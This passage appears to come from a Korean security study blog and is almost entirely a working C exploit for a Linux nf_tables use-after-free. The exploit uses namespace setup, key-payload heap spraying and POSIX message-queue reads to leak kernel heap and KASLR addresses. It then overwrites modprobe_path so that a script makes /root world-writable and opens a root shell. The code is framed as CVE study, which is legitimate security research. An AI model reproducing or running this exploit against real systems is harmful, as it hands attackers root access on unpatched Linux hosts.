perror("[-] unshare(CLONE_NEWUSER)");
exit(EXIT_FAILURE);
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
exit(EXIT_FAILURE);
}
write_to_file("/proc/self/uid_map", "0 %d 1", uid);
write_to_file("/proc/self/setgroups", "deny");
write_to_file("/proc/self/gid_map", "0 %d 1", gid);
}
void netfilter_new_table(struct mnl_socket *nl, const char *table_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_table * table = nftnl_table_alloc();
nftnl_table_set_str(table, NFTNL_TABLE_NAME, table_name);
nftnl_table_set_u32(table, NFTNL_TABLE_FLAGS, 0);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch * batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_table_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch), NFT_MSG_NEWTABLE, family, 0, seq++);
nftnl_table_nlmsg_build_payload(nlh, table);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new table : %s\n", table_name);
}
uint32_t set_id = 1;
void netfilter_new_stable_set(struct mnl_socket *nl, const char *table_name, const char *set_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set = nftnl_set_alloc();
nftnl_set_set_str(set, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set, NFTNL_SET_ID, set_id++);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set);
nftnl_set_free(set);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new set (stable) : %s -> %s\n", table_name, set_name);
}
void netfilter_new_uaf_set(struct mnl_socket *nl, const char *table_name, const char *set_name, const char *target_set_name){
uint8_t family = NFPROTO_IPV4;
struct nftnl_set *set_trigger = nftnl_set_alloc();
nftnl_set_set_str(set_trigger, NFTNL_SET_TABLE, table_name);
nftnl_set_set_str(set_trigger, NFTNL_SET_NAME, set_name);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FLAGS, NFT_SET_EXPR);
nftnl_set_set_u32(set_trigger, NFTNL_SET_KEY_LEN, 1);
nftnl_set_set_u32(set_trigger, NFTNL_SET_FAMILY, family);
nftnl_set_set_u32(set_trigger, NFTNL_SET_ID, set_id);
struct nftnl_expr *exprs = nftnl_expr_alloc("lookup");
nftnl_expr_set_str(exprs, NFTNL_EXPR_LOOKUP_SET, target_set_name);
nftnl_expr_set_u32(exprs, NFTNL_EXPR_LOOKUP_SREG, NFT_REG_1);
// nest the expression into the set
nftnl_set_add_expr(set_trigger, exprs);
char buf[MNL_SOCKET_BUFFER_SIZE*2];
struct mnl_nlmsg_batch *batch = mnl_nlmsg_batch_start(buf, sizeof(buf));
int seq = 0;
nftnl_batch_begin(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
struct nlmsghdr *nlh = nftnl_set_nlmsg_build_hdr(mnl_nlmsg_batch_current(batch),
NFT_MSG_NEWSET, family,
NLM_F_CREATE|NLM_F_ACK, seq++);
nftnl_set_nlmsg_build_payload(nlh, set_trigger);
nftnl_set_free(set_trigger);
mnl_nlmsg_batch_next(batch);
nftnl_batch_end(mnl_nlmsg_batch_current(batch), seq++);
mnl_nlmsg_batch_next(batch);
if (mnl_socket_sendto(nl, mnl_nlmsg_batch_head(batch), mnl_nlmsg_batch_size(batch)) < 0) {
err(1, "mnl_socket_send");
}
printf("[+] create new set (UAF) : %s -> %s\n", table_name, set_name);
}
typedef int32_t key_serial_t;
static inline key_serial_t sys_add_key(const char *type, const char *desc, const void *payload, size_t plen, int ringid)
{
return syscall(__NR_add_key, type, desc, payload, plen, ringid);
}
static inline key_serial_t sys_keyctl(int cmd, ...)
{
va_list ap;
long arg2, arg3, arg4, arg5;
va_start(ap, cmd);
arg2 = va_arg(ap, long);
arg3 = va_arg(ap, long);
arg4 = va_arg(ap, long);
arg5 = va_arg(ap, long);
va_end(ap);
return syscall(__NR_keyctl, cmd, arg2, arg3, arg4, arg5);
}
void revoke_key(key_serial_t key)
{
if (sys_keyctl(KEYCTL_REVOKE, key) == -1) {
err(1, "[-] failed key revoke");
}
//printf("[+] release key : %d\n", (int)key);
}
void unlink_key(key_serial_t key)
{
if (sys_keyctl(KEYCTL_UNLINK, key, KEY_SPEC_USER_KEYRING) == -1) {
err(1, "[-] failed key unlink");
}
//printf("[+] release key : %d\n", (int)key);
}
#define KEY_PAYLOAD_SIZE 40
#define KEY_SPRAY_COUNT 90
//uint32_t key_count = 0;
key_serial_t* spray_user_key_payload(int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
for(int i=start; i<end; i++){
snprintf(payload, KEY_PAYLOAD_SIZE, "payload-%d", i);
keys[i] = sys_add_key("user", payload, payload, KEY_PAYLOAD_SIZE, KEY_SPEC_USER_KEYRING);
if (keys[i] == -1)
err(1, "[-] failed key spraying");
}
printf("[+] sprayed user_key_payload\n");
return keys;
}
int leak_heap_addr_and_get_uaf_keyid(key_serial_t *keys, uint64_t *kheap){
int ret = 0;
char buffer[KEY_PAYLOAD_SIZE] = {0, };
for(int i=0; i<KEY_SPRAY_COUNT; i++){
ret = sys_keyctl(KEYCTL_READ, keys[i], buffer, sizeof(buffer));
if (ret == -1)
err(1, "[-] failed key read");
//printf("[*] kheap = 0x%lx\n", *((uint64_t*)buffer));
if((uint8_t)buffer[7] == 0xff){
*kheap = *((uint64_t*)buffer);
return i;
}
}
err(1, "[-] failed leak kernel heap address");
}
void revoke_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
revoke_key(keys[c]);
c++;
}
printf("[+] revoked all sprayed keys\n");
}
void unlink_all_sprayed_keys(key_serial_t *keys, int start, int end){
int c = 0;
for(int i=start; i<end; i++){
if(keys[c]!=0)
unlink_key(keys[c]);
c++;
}
printf("[+] unlinked all sprayed keys\n");
}
key_serial_t *spray_fake_obj_keys(uint64_t addr1, uint64_t addr2, int start, int end){
key_serial_t *keys = calloc(end-start, sizeof(key_serial_t));
char payload[KEY_PAYLOAD_SIZE] = {0, };
char desc[KEY_PAYLOAD_SIZE] = {0, };
uint64_t m_ts = 0x28;
memcpy(payload,(char*)(&addr1),0x8); // m_list.next
memcpy(payload+0x8,(char*)(&addr2),0x8); // m_list.prev
memcpy(payload+0x10,"AAAAAAAA",0x8); // m_type
memcpy(payload+0x18,(char*)(&m_ts),0x8); // m_ts
int c = 0;
for(int i=start; i<end; i++){
snprintf(desc, KEY_PAYLOAD_SIZE, "payload-%d-fake", i);
keys[c] = sys_add_key("user", desc, payload, KEY_PAYLOAD_SIZE-1, KEY_SPEC_USER_KEYRING);
if (keys[c] == -1)
err(1, "[-] failed key spraying");
c++;
}
printf("[+] sprayed fake obj user_key_payload\n");
return keys;
}
#define MQ_MAX_COUNT 10
#define MQ_COUNT 1
#define MQ_SIZE 24
mqd_t sys_mq_open(char *queue_name){
struct mq_attr attr;
attr.mq_flags = 0;
attr.mq_maxmsg = MQ_MAX_COUNT;
attr.mq_msgsize = MQ_SIZE;
attr.mq_curmsgs = 0;
// 메시지 큐 열기
mqd_t mq = mq_open(queue_name, O_CREAT | O_RDWR, 0644, &attr);
if (mq == (mqd_t)-1) {
err(1, "[-] failed mq_open");
}
printf("[+] mq_open : %s\n", queue_name);
return mq;
}
void create_fake_obj_posix_msg_tree_node(mqd_t mq){
struct timespec ts;
char buffer[MQ_SIZE] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
memcpy(buffer, "test", 4);
if (mq_timedsend(mq, buffer, MQ_SIZE, 0, &ts) == -1){
err(1, "[-] failed mq_timedsend");
}
printf("[+] nft_expr(+nft_lookup) <-> posix_msg_tree_node\n");
}
uint64_t leak_kaslr_base_by_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
hexdump(buffer,0x20);
if((uint8_t)buffer[7] == 0xff){
return *((uint64_t*)buffer);
} else {
err(1, "[-] failed leak kaslr");
}
}
void just_read_mq(mqd_t mq){
struct timespec ts;
char buffer[1024] = {0, };
if (clock_gettime(CLOCK_REALTIME, &ts) == -1) {
perror("clock_gettime");
exit(1);
}
ssize_t bytes_read = mq_timedreceive(mq, buffer, MQ_SIZE, NULL, &ts);
if (bytes_read == -1)
err(1, "[-] failed mq_timedreceive");
printf("[+] trigger mq_timedreceive\n");
}
int main(int argc, char *argv[])
{
printf("[+] exploit process starting\n");
init_cpu();
init_namespace();
printf("\n\n============================== [ 0. Preapare Exploiting ] ==============================\n");
struct mnl_socket *nl = mnl_socket_open(NETLINK_NETFILTER);
if (nl == NULL) {
err(1, "[-] mnl_socket_open");
} else {
printf("[+] mnl_socket_open\n");
}
mqd_t mq1 = sys_mq_open("/queue-leak");
mqd_t mq2 = sys_mq_open("/queue-overwrite");
mqd_t mq3 = sys_mq_open("/queue-overwrite3");
printf("\n\n============================== [ 1. Leaking Kernel Heap Address ] ==============================\n");
netfilter_new_table(nl, "table1");
netfilter_new_stable_set(nl, "table1", "set_stable1");
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
key_serial_t *spray_keys = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table1", "uaf_set1", "set_stable1");
uint64_t kheap = 0;
int keyid = leak_heap_addr_and_get_uaf_keyid(spray_keys, &kheap);
printf("[*] kheap = 0x%lx (keyid = %d)\n", kheap, keyid);
revoke_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys, 0, KEY_SPRAY_COUNT);
printf("\n\n============================== [ 2. Leaking KASLR Base Address ] ==============================\n");
netfilter_new_table(nl, "table2");
netfilter_new_stable_set(nl, "table2", "set_stable2");
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
create_fake_obj_posix_msg_tree_node(mq1);
key_serial_t *spray_keys2 = spray_user_key_payload(0, KEY_SPRAY_COUNT);
netfilter_new_uaf_set(nl, "table2", "uaf_set2", "set_stable2");
key_serial_t *fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(kheap, kheap, 0, KEY_SPRAY_COUNT);
revoke_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
uint64_t kernel_base = leak_kaslr_base_by_read_mq(mq1) - 0x373330;
printf("[*] Kernel Base = 0x%lx\n", kernel_base);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(spray_keys2, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
printf("\n\n============================== [ 3. Overwriting modporbe_path ] ==============================\n");
uint64_t modprobe_path = kernel_base + 0x144dac0;
printf("[*] modprobe_path = 0x%lx\n", modprobe_path);
netfilter_new_table(nl, "table3");
netfilter_new_stable_set(nl, "table3", "set_stable3");
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
create_fake_obj_posix_msg_tree_node(mq2);
netfilter_new_uaf_set(nl, "table3", "uaf_set3", "set_stable3");
uint64_t modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x6d74;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+1, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq2);
revoke_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
unlink_all_sprayed_keys(fake_obj_keys, 0, KEY_SPRAY_COUNT);
netfilter_new_table(nl, "table4");
netfilter_new_stable_set(nl, "table4", "set_stable4");
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
create_fake_obj_posix_msg_tree_node(mq3);
netfilter_new_uaf_set(nl, "table4", "uaf_set4", "set_stable4");
modprobe_name = (modprobe_path & 0xffffffffffff0000) + 0x2f70;
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
fake_obj_keys = spray_fake_obj_keys(modprobe_path-0x8+3, modprobe_name, 0, KEY_SPRAY_COUNT);
just_read_mq(mq3);
printf("\n\n============================== [ 4. Finish ] ==============================\n");
if(fork()){
char modprobe_content[] = "#!/bin/sh\nchmod -R 777 /root";
char filename[] = "/tmpX/modprobe";
memcpy(filename+3, &modprobe_name, 0x8);
int fd = open(filename, O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, modprobe_content, sizeof(modprobe_content));
close(fd);
fd = open("/tmp/pwn", O_CREAT | O_RDWR, S_IRWXU | S_IRWXG | S_IRWXO);
write(fd, "\xff\xff\xff\xff", 4);
close(fd);
system("/tmp/pwn");
system("/bin/sh");
}
getchar(); //pause
}
이제 Kernel은 CVE-2024-????? 하나를 더 분석하고 잠시 내려둘 것 같다.
잠시 휴식 기간을...
'STUDY > CVE && Fuzzing' 카테고리의 다른 글
[CVE] Apache2 (CVE-2021-41773 & CVE-2021-42013) (0) | 2025.01.20 |
---|---|
[CVE] nf_tabes (CVE-2024-1086) (1) | 2025.01.16 |
[CVE] nf_tables (CVE-2022-1016) (0) | 2024.11.21 |
[CVE] nf_tables (CVE-2022-1015) (0) | 2024.11.15 |
[CVE] sshd (CVE-2024-6387) - 비공개 (0) | 2024.10.10 |